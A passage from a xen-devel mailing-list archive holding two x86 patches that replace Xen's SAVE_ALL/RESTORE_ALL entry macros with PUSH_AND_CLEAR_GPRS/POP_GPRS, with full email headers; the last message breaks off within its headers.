         eHI5mU3Ts9CApnFNkQIOVIL48WFZjDXT9rhFR0vP2uaPcIB83qHi6rIOLBBi2pbUX1Uj
         r35JxpxHgbEKVvrxJiFvy/OhY3+UFNlD1cdSiyGzGyb7Sc0g6UNTtQKnFwa19oVQ1y/I
         YyYw==
X-Gm-Message-State: AOJu0Ywq77zyn0bq5NDYCwQUhoDmkBRAYyQ/1VDDQkOYOsR2d+pYNGUz
	yBOJ7ZiQvhyRT7/g0hp6Lj3yGJnTRXCb8UiXg8eD/NHpipaSGTsU0UBbx1qpXj56rrLAe2zS0za
	IWdNpR8U=
X-Gm-Gg: AfdE7ck4hT8XG1Rljukg4SVdScDODlMrlQEoplBw5V2z3ZkqBSM5VThRhPWsd65yr6F
	QF53pImdJp2dlfbrCJAosQtJ8Pd6/Gg1zJL/6m6oAkproeiIHm3Pge8KQs8DbdEWE9hE5/WR/7M
	rZ6UZsLNatkKskHNJbLqz0aKcesIwvbnmbFsHnfwT4ly1OKaR68OpjJ8xQCrz3UY4Tt78JIyWrA
	3yQq4yMBBu+ygkzuUsRey7XhItSdtolYPDQ3CxJE/iRBjS12RPiR4e3n7AsCRMJ1j7q7uki3yBX
	kymtdaDDfCnNwVP8JbKGnZ/JTjW2FyV5285HIcnGytxG4FRHki3cK7CSCQc6ulatuURIJ3nbI7s
	6mfWCS+PPCeqIXH94WqdQSn7yySwr8P3iW2Yd9t29eAX34bds15j25T0l+i13LevsZN3sGmgMb3
	v74pldzimmB7/HL4eo/fS1W1e8gU1/kIoFxs7z52HcQx2KPOxscXq808RsQFY4A78=
X-Received: by 2002:a05:600c:154e:b0:493:d216:ed96 with SMTP id 5b1f17b1804b1-493df0b6a8emr11671105e9.9.1783352061219;
        Mon, 06 Jul 2026 08:34:21 -0700 (PDT)
From: Andrew Cooper <andrew.cooper3@citrix.com>
To: Xen-devel <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: [PATCH 2/3] x86/entry: Use POP_GPRS and remove RESTORE_ALL
Date: Mon,  6 Jul 2026 16:34:14 +0100
Message-Id: <20260706153415.1264750-3-andrew.cooper3@citrix.com>
X-Mailer: git-send-email 2.39.5
In-Reply-To: <20260706153415.1264750-1-andrew.cooper3@citrix.com>
References: <20260706153415.1264750-1-andrew.cooper3@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ef75cf/1783352062-7D72125E-81E483E4/0/0
X-purgate-type: clean
X-purgate-size: 5688

POP_GPRS is shorter than RESTORE_ALL in terms of emitted code.

By separating the popping of entry_vector/error_code off the stack,
SPEC_CTRL_COND_VERW doesn't need custom displacements.

Get rid of the compat=1 special case for PV32.  It's not obviously a win, and
PV32 is getting increasingly rare these days.

No functional change.

Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
---
CC: Jan Beulich <jbeulich@suse.com>
CC: Roger Pau MonnÃ© <roger.pau@citrix.com>
CC: Teddy Astie <teddy.astie@vates.tech>

Bloat-o-meter reports:
  add/remove: 0/0 grow/shrink: 0/3 up/down: 0/-128 (-128)
  Function                                     old     new   delta
  compat_restore_all_guest                     187     158     -29
  restore_all_guest                            372     324     -48
  restore_all_xen                              165     114     -51
---
 xen/arch/x86/include/asm/asm_defns.h | 50 +---------------------------
 xen/arch/x86/x86_64/compat/entry.S   |  9 +++--
 xen/arch/x86/x86_64/entry.S          | 12 +++----
 3 files changed, 10 insertions(+), 61 deletions(-)

diff --git a/xen/arch/x86/include/asm/asm_defns.h b/xen/arch/x86/include/asm/asm_defns.h
index 87bd6b1193e7..d1b80186c14c 100644
--- a/xen/arch/x86/include/asm/asm_defns.h
+++ b/xen/arch/x86/include/asm/asm_defns.h
@@ -264,54 +264,6 @@ static always_inline void stac(void)
         xor   %r15d, %r15d
 .endm
 
-#define LOAD_ONE_REG(reg, compat) \
-.if !(compat); \
-        movq  UREGS_r##reg(%rsp),%r##reg; \
-.else; \
-        movl  UREGS_r##reg(%rsp),%e##reg; \
-.endif
-
-/*
- * Restore all previously saved registers.
- *
- * @adj: extra stack pointer adjustment to be folded into the adjustment done
- *       anyway at the end of the macro
- * @compat: R8-R15 don't need reloading, but they are clobbered for added
- *          safety against information leaks.
- */
-.macro RESTORE_ALL adj=0, compat=0
-.if !\compat
-        movq  UREGS_r15(%rsp), %r15
-        movq  UREGS_r14(%rsp), %r14
-        movq  UREGS_r13(%rsp), %r13
-        movq  UREGS_r12(%rsp), %r12
-.else
-        xor %r15d, %r15d
-        xor %r14d, %r14d
-        xor %r13d, %r13d
-        xor %r12d, %r12d
-.endif
-        LOAD_ONE_REG(bp, \compat)
-        LOAD_ONE_REG(bx, \compat)
-.if !\compat
-        movq  UREGS_r11(%rsp),%r11
-        movq  UREGS_r10(%rsp),%r10
-        movq  UREGS_r9(%rsp),%r9
-        movq  UREGS_r8(%rsp),%r8
-.else
-        xor %r11d, %r11d
-        xor %r10d, %r10d
-        xor %r9d, %r9d
-        xor %r8d, %r8d
-.endif
-        LOAD_ONE_REG(ax, \compat)
-        LOAD_ONE_REG(cx, \compat)
-        LOAD_ONE_REG(dx, \compat)
-        LOAD_ONE_REG(si, \compat)
-        LOAD_ONE_REG(di, \compat)
-        subq  $-(UREGS_error_code-UREGS_r15+\adj), %rsp
-.endm
-
 /*
  * Push and clear GPRs
  */
@@ -369,7 +321,7 @@ static always_inline void stac(void)
         pop   %r9
         pop   %r8
  .if \skip_rax
-        pop   %rcx
+        pop   %rcx /* Any register yet to restore. */
  .else
         pop   %rax
  .endif
diff --git a/xen/arch/x86/x86_64/compat/entry.S b/xen/arch/x86/x86_64/compat/entry.S
index 39925d80a677..4bf4ee7c944c 100644
--- a/xen/arch/x86/x86_64/compat/entry.S
+++ b/xen/arch/x86/x86_64/compat/entry.S
@@ -160,12 +160,11 @@ FUNC(compat_restore_all_guest)
         /* WARNING! `ret`, `call *`, `jmp *` not safe beyond this point. */
         SPEC_CTRL_EXIT_TO_PV    /* Req: a=spec_ctrl %rsp=regs/cpuinfo, Clob: cd */
 
-        RESTORE_ALL adj=8, compat=1
+        POP_GPRS
 
-        /* Account for ev/ec having already been popped off the stack. */
-        SPEC_CTRL_COND_VERW \
-            scf=STK_REL(CPUINFO_scf,      CPUINFO_rip), \
-            sel=STK_REL(CPUINFO_verw_sel, CPUINFO_rip)
+        SPEC_CTRL_COND_VERW     /* Req: %rsp=eframe                    Clob: efl */
+
+        add     $8, %rsp        /* Pop ev/ec off the stack */
 
         jmp     iret_to_guest
 END(compat_restore_all_guest)
diff --git a/xen/arch/x86/x86_64/entry.S b/xen/arch/x86/x86_64/entry.S
index de5d854f5533..cd3532d7d174 100644
--- a/xen/arch/x86/x86_64/entry.S
+++ b/xen/arch/x86/x86_64/entry.S
@@ -226,7 +226,8 @@ FUNC_LOCAL(restore_all_guest)
         /* WARNING! `ret`, `call *`, `jmp *` not safe beyond this point. */
         SPEC_CTRL_EXIT_TO_PV    /* Req: a=spec_ctrl %rsp=regs/cpuinfo, Clob: cd */
 
-        RESTORE_ALL
+        POP_GPRS
+
         BUILD_BUG_ON(TRAP_syscall & 0xff)
         testb $TRAP_syscall >> 8, EFRAME_entry_vector + 1(%rsp)
         jz    iret_exit_to_guest
@@ -753,20 +754,17 @@ UNLIKELY_END(exit_cr3)
         /* WARNING! `ret`, `call *`, `jmp *` not safe beyond this point. */
         SPEC_CTRL_EXIT_TO_XEN /* Req: %r12=ist_exit %r14=end %rsp=regs, Clob: abcd */
 
-        RESTORE_ALL adj=8
+        POP_GPRS
 
         /*
          * When the CPU pushed this exception frame, it zero-extended eflags.
          * For an IST exit, SPEC_CTRL_EXIT_TO_XEN stashed shadow copies of
          * scf and ver_sel above eflags, as we can't use any GPRs,
          * and we're at a random place on the stack, not in a CPUFINFO block.
-         *
-         * Account for ev/ec having already been popped off the stack.
          */
-        SPEC_CTRL_COND_VERW \
-            scf=STK_REL(EFRAME_shadow_scf, EFRAME_rip), \
-            sel=STK_REL(EFRAME_shadow_sel, EFRAME_rip)
+        SPEC_CTRL_COND_VERW     /* Req: %rsp=eframe                    Clob: efl */
 
+        add     $8, %rsp        /* Pop ev/ec off the stack */
         iretq
 END(restore_all_xen)
 
-- 
2.39.5



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:34:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:34:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355441.1610235 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglKz-0001Zy-OX; Mon, 06 Jul 2026 15:34:25 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355441.1610235; Mon, 06 Jul 2026 15:34:25 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglKz-0001Zp-LJ; Mon, 06 Jul 2026 15:34:25 +0000
Received: by outflank-mailman (input) for mailman id 1355441;
 Mon, 06 Jul 2026 15:34:24 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper3@citrix.com>) id 1wglKy-0001H7-0t
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:34:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wglKx-000YCn-Ds
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:34:23 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a4bcafc-5cb7-0a2a0a5109dd-0a2a4507a422-10
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:34:23 +0200
Received: from [209.85.128.44] (helo=mail-wm1-f44.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a4bcaff-9c8e-0a2a45070019-d155802cac51-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:34:23 +0200
Received: by mail-wm1-f44.google.com with SMTP id
 5b1f17b1804b1-493b6f1b14bso12808335e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:34:23 -0700 (PDT)
Received: from localhost.localdomain (host-78-146-248-75.as13285.net.
 [78.146.248.75]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493c63bfba1sm433726505e9.15.2026.07.06.08.34.21
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:34:21 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=citrix.com header.i="@citrix.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=citrix.com; s=google; t=1783352063; x=1783956863; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to;
        bh=tGuAPt56hrdactPgDfC0/MnL6+HEGuvGVBAIpjdl8Bg=;
        b=C+kXMHjBzNqWr5Di+/OAr7z7Yx2gFIGYbnUUxXk75/bLXNMZjlsUczRAtL2EzTfMT1
         DHcpmoJkMdQ/NafDLRwgi9ZIRZRx25x6kQbo7TQR7bKuw1gdEaUV1yvQFDGUkGUv3CrI
         fBs9aRAjGj8WwIeVsEF+5jNzqztcT2sYDg9lk=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783352063; x=1783956863;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to;
        bh=tGuAPt56hrdactPgDfC0/MnL6+HEGuvGVBAIpjdl8Bg=;
        b=Cf1lEPxWq0+aYP09H1GVa97l8I8OhhQQE0N1zY+gWG3JHNgdAMOrnrQMn19hk0xe7I
         DsSaglQG5w9015qzgXZ5gr3V5s9QjVKwR1R4ELJlC0brMEYmGGzECW/+cf41ibDZ6DmO
         u2xQYcEmDzntHSCK8IhaiYdxO5rsEHeTtk+pu30yfhKzWDvsqUYBC5t5aEXUfy011t4q
         CxtT7i4XC6MSuhWaWtVt/X5glJ+SbP3UlLA1Ph63jhlY+JIkTuHb3Efd8bMGaf6qVq/H
         fYxbMYfW+b1t5+ii0XpqCnDv7bA4SBs1EOTAv+YzWR3O1FVLnh19GrCGr2ja1V6/FsmK
         t+hg==
X-Gm-Message-State: AOJu0YwYWEtxeRkLyl5Fbi9KbrMLlVvvSKVYvlpD1UYZVj7moFASnVs2
	ng4uppaPhF98Xkn6nINFurvVAb6Mp4RRZaVSvraZvTQZVwjUFNcunBMV/lS2Uy5yfWoxYpX7EAF
	h3c/k
X-Gm-Gg: AfdE7clR7rjEkECHTx4Kab+oZwDvYki10UzOKI+nRSdIyJMOC+Tq57VLatwk+KFX8m4
	GaY8c6vIfKOYcEpd/ho4yR8/rvobAKmDqr4HwyQiZrNCcj4glZOVoz7SCeZK0YellLTHrPUlh9/
	9x0FnkXLzP41BpL5ktT5ugj2GNPBkLV+jqe2piKXVBdFR04zJezJnGYFPHryxz9aB9r/ZxFodil
	HupLLAu+sVr4+dhPddeaWuqQoaDVr8mFKJCARVXv9OBxdln3xay1SXyzq78TTG5tD8IBYL6nSYl
	D7iFaFYBQYMFe4oXafAa1Ewm7MmLIB+DtYbibQrppTLoOjACP2zJedjGKTuU6pVCM639jhyYEv4
	5WV//9YdWPZIv/xReLuxcvTrBrmGZlO0nmN/baggfN5kOKdrjcLR/vJQmpinHp+jtSsK6OoJ4/l
	c9arqMsf3jjvp178gPfEgiwO2/kNZpAUXryHcJoE+KQcaKX5gkRFFfaC9QyzUhNio=
X-Received: by 2002:a05:600c:6c07:b0:493:bc4a:9547 with SMTP id 5b1f17b1804b1-493df0a08dcmr8960075e9.39.1783352062251;
        Mon, 06 Jul 2026 08:34:22 -0700 (PDT)
From: Andrew Cooper <andrew.cooper3@citrix.com>
To: Xen-devel <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: [PATCH 3/3] x86/entry: Use PUSH_AND_CLEAR_GPRS and drop SAVE_ALL
Date: Mon,  6 Jul 2026 16:34:15 +0100
Message-Id: <20260706153415.1264750-4-andrew.cooper3@citrix.com>
X-Mailer: git-send-email 2.39.5
In-Reply-To: <20260706153415.1264750-1-andrew.cooper3@citrix.com>
References: <20260706153415.1264750-1-andrew.cooper3@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ef75cf/1783352063-FCF2D25E-888F2648/0/0
X-purgate-type: clean
X-purgate-size: 6974

PUSH_AND_CLEAR_GPRS is shorter than SAVE_ALL in terms of emitted code.

lstar_enter() and cstar_enter() do not need CLD.  The SYSCALL instruction
sanitises flags based on MSR_SYSCALL_MASK.  For all other cases, place the CLD
instruction next to STAC/CLAC so the flag handling is together.

Get rid of the compat=1 special case for PV32.  It's not obviously a win, and
PV32 is getting increasingly rare these days.

No functional change.

Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
---
CC: Jan Beulich <jbeulich@suse.com>
CC: Roger Pau MonnÃ© <roger.pau@citrix.com>
CC: Teddy Astie <teddy.astie@vates.tech>

Bloat-o-meter reports:
  add/remove: 0/0 grow/shrink: 0/12 up/down: 0/-518 (-518)
  Function                                     old     new   delta
  symbols_names                             135277  135276      -1
  symbols_offsets                            53664   53660      -4
  entry_int82                                  229     213     -16
  sysenter_entry                               383     328     -55
  handle_ist_exception                         450     395     -55
  handle_exception                             683     628     -55
  entry_int80                                  432     377     -55
  entry_DF                                     294     239     -55
  early_page_fault                             139      84     -55
  common_interrupt                             327     272     -55
  lstar_enter                                  322     266     -56
  cstar_enter                                  323     267     -56
---
 xen/arch/x86/include/asm/asm_defns.h | 45 ----------------------------
 xen/arch/x86/x86_64/compat/entry.S   |  3 +-
 xen/arch/x86/x86_64/entry.S          | 25 ++++++++++------
 3 files changed, 18 insertions(+), 55 deletions(-)

diff --git a/xen/arch/x86/include/asm/asm_defns.h b/xen/arch/x86/include/asm/asm_defns.h
index d1b80186c14c..6c65acd08366 100644
--- a/xen/arch/x86/include/asm/asm_defns.h
+++ b/xen/arch/x86/include/asm/asm_defns.h
@@ -219,51 +219,6 @@ static always_inline void stac(void)
 #endif
 
 #ifdef __ASSEMBLER__
-.macro SAVE_ALL compat=0
-        addq  $-(UREGS_error_code-UREGS_r15), %rsp
-        cld
-        movq  %rdi,UREGS_rdi(%rsp)
-        xor   %edi, %edi
-        movq  %rsi,UREGS_rsi(%rsp)
-        xor   %esi, %esi
-        movq  %rdx,UREGS_rdx(%rsp)
-        xor   %edx, %edx
-        movq  %rcx,UREGS_rcx(%rsp)
-        xor   %ecx, %ecx
-        movq  %rax,UREGS_rax(%rsp)
-        xor   %eax, %eax
-.if !\compat
-        movq  %r8,UREGS_r8(%rsp)
-        movq  %r9,UREGS_r9(%rsp)
-        movq  %r10,UREGS_r10(%rsp)
-        movq  %r11,UREGS_r11(%rsp)
-.endif
-        xor   %r8d, %r8d
-        xor   %r9d, %r9d
-        xor   %r10d, %r10d
-        xor   %r11d, %r11d
-        movq  %rbx,UREGS_rbx(%rsp)
-        xor   %ebx, %ebx
-        movq  %rbp,UREGS_rbp(%rsp)
-#ifdef CONFIG_FRAME_POINTER
-/* Indicate special exception stack frame by inverting the frame pointer. */
-        leaq  UREGS_rbp(%rsp), %rbp
-        notq  %rbp
-#else
-        xor   %ebp, %ebp
-#endif
-.if !\compat
-        movq  %r12,UREGS_r12(%rsp)
-        movq  %r13,UREGS_r13(%rsp)
-        movq  %r14,UREGS_r14(%rsp)
-        movq  %r15,UREGS_r15(%rsp)
-.endif
-        xor   %r12d, %r12d
-        xor   %r13d, %r13d
-        xor   %r14d, %r14d
-        xor   %r15d, %r15d
-.endm
-
 /*
  * Push and clear GPRs
  */
diff --git a/xen/arch/x86/x86_64/compat/entry.S b/xen/arch/x86/x86_64/compat/entry.S
index 4bf4ee7c944c..2503a973ffc2 100644
--- a/xen/arch/x86/x86_64/compat/entry.S
+++ b/xen/arch/x86/x86_64/compat/entry.S
@@ -13,10 +13,11 @@
 
 FUNC(entry_int82)
         ENDBR64
+        cld
         ALTERNATIVE "", clac, X86_FEATURE_XEN_SMAP
         pushq $0
         movb  $HYPERCALL_VECTOR, EFRAME_entry_vector(%rsp)
-        SAVE_ALL compat=1 /* DPL1 gate, restricted to 32bit PV guests only. */
+        PUSH_AND_CLEAR_GPRS
 
         GET_STACK_END(14)
 
diff --git a/xen/arch/x86/x86_64/entry.S b/xen/arch/x86/x86_64/entry.S
index cd3532d7d174..22729b1f43b8 100644
--- a/xen/arch/x86/x86_64/entry.S
+++ b/xen/arch/x86/x86_64/entry.S
@@ -305,7 +305,7 @@ FUNC(lstar_enter)
         pushq $0
         BUILD_BUG_ON(TRAP_syscall & 0xff)
         movb  $TRAP_syscall >> 8, EFRAME_entry_vector + 1(%rsp)
-        SAVE_ALL
+        PUSH_AND_CLEAR_GPRS
 
         GET_STACK_END(14)
 
@@ -345,7 +345,7 @@ FUNC(cstar_enter)
         pushq $0
         BUILD_BUG_ON(TRAP_syscall & 0xff)
         movb  $TRAP_syscall >> 8, EFRAME_entry_vector + 1(%rsp)
-        SAVE_ALL
+        PUSH_AND_CLEAR_GPRS
 
         GET_STACK_END(14)
 
@@ -383,13 +383,14 @@ FUNC(sysenter_entry)
         pushq $0
         pushfq
 LABEL(sysenter_eflags_saved, 0)
+        cld
         ALTERNATIVE "", clac, X86_FEATURE_XEN_SMAP
         pushq $3 /* ring 3 null cs */
         pushq $0 /* null rip */
         pushq $0
         BUILD_BUG_ON(TRAP_syscall & 0xff)
         movb  $TRAP_syscall >> 8, EFRAME_entry_vector + 1(%rsp)
-        SAVE_ALL
+        PUSH_AND_CLEAR_GPRS
 
         GET_STACK_END(14)
 
@@ -442,10 +443,11 @@ END(sysenter_entry)
 
 FUNC(entry_int80)
         ENDBR64
+        cld
         ALTERNATIVE "", clac, X86_FEATURE_XEN_SMAP
         pushq $0
         movb  $0x80, EFRAME_entry_vector(%rsp)
-        SAVE_ALL
+        PUSH_AND_CLEAR_GPRS
 
         GET_STACK_END(14)
 
@@ -722,8 +724,9 @@ END(ret_from_intr)
         .section .init.text, "ax", @progbits
 FUNC(early_page_fault)
         ENDBR64
+        cld
         movb  $X86_EXC_PF, EFRAME_entry_vector(%rsp)
-        SAVE_ALL
+        PUSH_AND_CLEAR_GPRS
         movq  %rsp, %rdi
         call  do_early_page_fault
         jmp   restore_all_xen
@@ -769,8 +772,9 @@ UNLIKELY_END(exit_cr3)
 END(restore_all_xen)
 
 FUNC(common_interrupt)
+        cld
         ALTERNATIVE "", clac, X86_FEATURE_XEN_SMAP
-        SAVE_ALL
+        PUSH_AND_CLEAR_GPRS
 
         GET_STACK_END(14)
 
@@ -805,8 +809,9 @@ FUNC(entry_PF)
 END(entry_PF)
 /* No special register assumptions. */
 FUNC(handle_exception, 0)
+        cld
         ALTERNATIVE "", clac, X86_FEATURE_XEN_SMAP
-        SAVE_ALL
+        PUSH_AND_CLEAR_GPRS
 
         GET_STACK_END(14)
 
@@ -1103,9 +1108,10 @@ END(entry_CP)
 FUNC(entry_DF)
         ENDBR64
         movb  $X86_EXC_DF, EFRAME_entry_vector(%rsp)
+        cld
         /* Set AC to reduce chance of further SMAP faults */
         ALTERNATIVE "", stac, X86_FEATURE_XEN_SMAP
-        SAVE_ALL
+        PUSH_AND_CLEAR_GPRS
 
         GET_STACK_END(14)
 
@@ -1132,8 +1138,9 @@ FUNC(entry_NMI)
 END(entry_NMI)
 
 FUNC(handle_ist_exception)
+        cld
         ALTERNATIVE "", clac, X86_FEATURE_XEN_SMAP
-        SAVE_ALL
+        PUSH_AND_CLEAR_GPRS
 
         GET_STACK_END(14)
 
-- 
2.39.5



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:34:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:34:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355438.1610208 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglKx-0000wz-0Q; Mon, 06 Jul 2026 15:34:23 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355438.1610208; Mon, 06 Jul 2026 15:34:22 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglKw-0000wo-SI; Mon, 06 Jul 2026 15:34:22 +0000
Received: by outflank-mailman (input) for mailman id 1355438;
 Mon, 06 Jul 2026 15:34:21 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper3@citrix.com>) id 1wglKv-0000wY-1q
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:34:21 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wglKu-00AYjo-5h
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:34:20 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a4bcae4-e002-0a2a0a5209dd-0a2a45018e7c-40
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:34:20 +0200
Received: from [209.85.128.54] (helo=mail-wm1-f54.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a4bcafb-400f-0a2a45010019-d1558036e94f-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:34:19 +0200
Received: by mail-wm1-f54.google.com with SMTP id
 5b1f17b1804b1-493c5220cb7so24419695e9.3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:34:19 -0700 (PDT)
Received: from localhost.localdomain (host-78-146-248-75.as13285.net.
 [78.146.248.75]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493c63bfba1sm433726505e9.15.2026.07.06.08.34.17
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:34:18 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=citrix.com header.i="@citrix.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:Message-Id:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=citrix.com; s=google; t=1783352059; x=1783956859; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=9qWRi/xO25DPpZrSe3/IaGOg37uxMNwU0hVO7Y1/SSU=;
        b=EQWYw1NxbFtfzHfhDxXjxSV5zy3jMIO6KYpw4HSPq7D2N76Paai6jT7kFF+pjYT/j0
         VHXw0x94yfGeD6vFiS28jvYQNFsZvzXqNnPkBirenJGB76rauPUC9OZ07Qhl/1wM50py
         VutFFyKXgAbiN+y9isC+7sltwnAQw+3QFsKpY=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783352059; x=1783956859;
        h=content-transfer-encoding:content-type:mime-version:message-id:date
         :subject:cc:to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=9qWRi/xO25DPpZrSe3/IaGOg37uxMNwU0hVO7Y1/SSU=;
        b=Wp7qF5BuNIDwJpNKDX/AU7jp95do+tfEeeivHQIpHQMw9gvpMx+g4S/JMYtIPH6Y0J
         KcdaQmnrVJpeKJjfyTaN8xQoOR/RFHu6/ZwH630SXAo4YmDJXaS/5kGvteAKkUiTFEoh
         skDpBz6woGA9MZY3Wycd30cmPb6q83q2TN0QszrHqUQi0iYklYL8vgfDa9ME5iehXiIa
         trLCIrmMuTuq6T/THnjd84g3VyZH1jQoRblAfkwIdR/XrpkMiuABBGVMa+khuOXLn+IY
         NOhfPf5UE/L3DCUWhpJMbuxew5BoiHrTTVzSra1ftFr8alQI9T19+ufL8hANCPzbMhJw
         Jg7Q==
X-Gm-Message-State: AOJu0YyFdjui15xYiy3mkv7VlqmBjFEWvloI1K17FCyYN2vnR9cp5Jmh
	ozFAP1DpWtgV+rjiV5wfKsENcP938YUt+FE4tDBXvtsP+bHPLtGILqgduUuh/ouLp80Y2LhFbWo
	REDxc
X-Gm-Gg: AfdE7cl0vQztTnwewnJuqPYeVBkpduwwHjwtONvz4q2g3Gvg3ZW2v4obUJVYdNE2RIa
	TCwMVw9X7vcxuAuupU05ZpkV5kOa3DfDS74De8HIkcknGEwxV0mWVGbDkbpkRtZi+dgKhp+IU1x
	YdND84/e/oAwwcFK/o+KhesS/jrEV/dZDf+WV0m1tpbTeiikwiv0NKcbmHbtG6IJU5CmTSZ0VX7
	i/Wzub8BDyJ8+r/xnfMA0V6q0SsiHSokV1c197ciKMHuWVGmGyFjYg5EN1JjTfc/ydXwndR7hvE
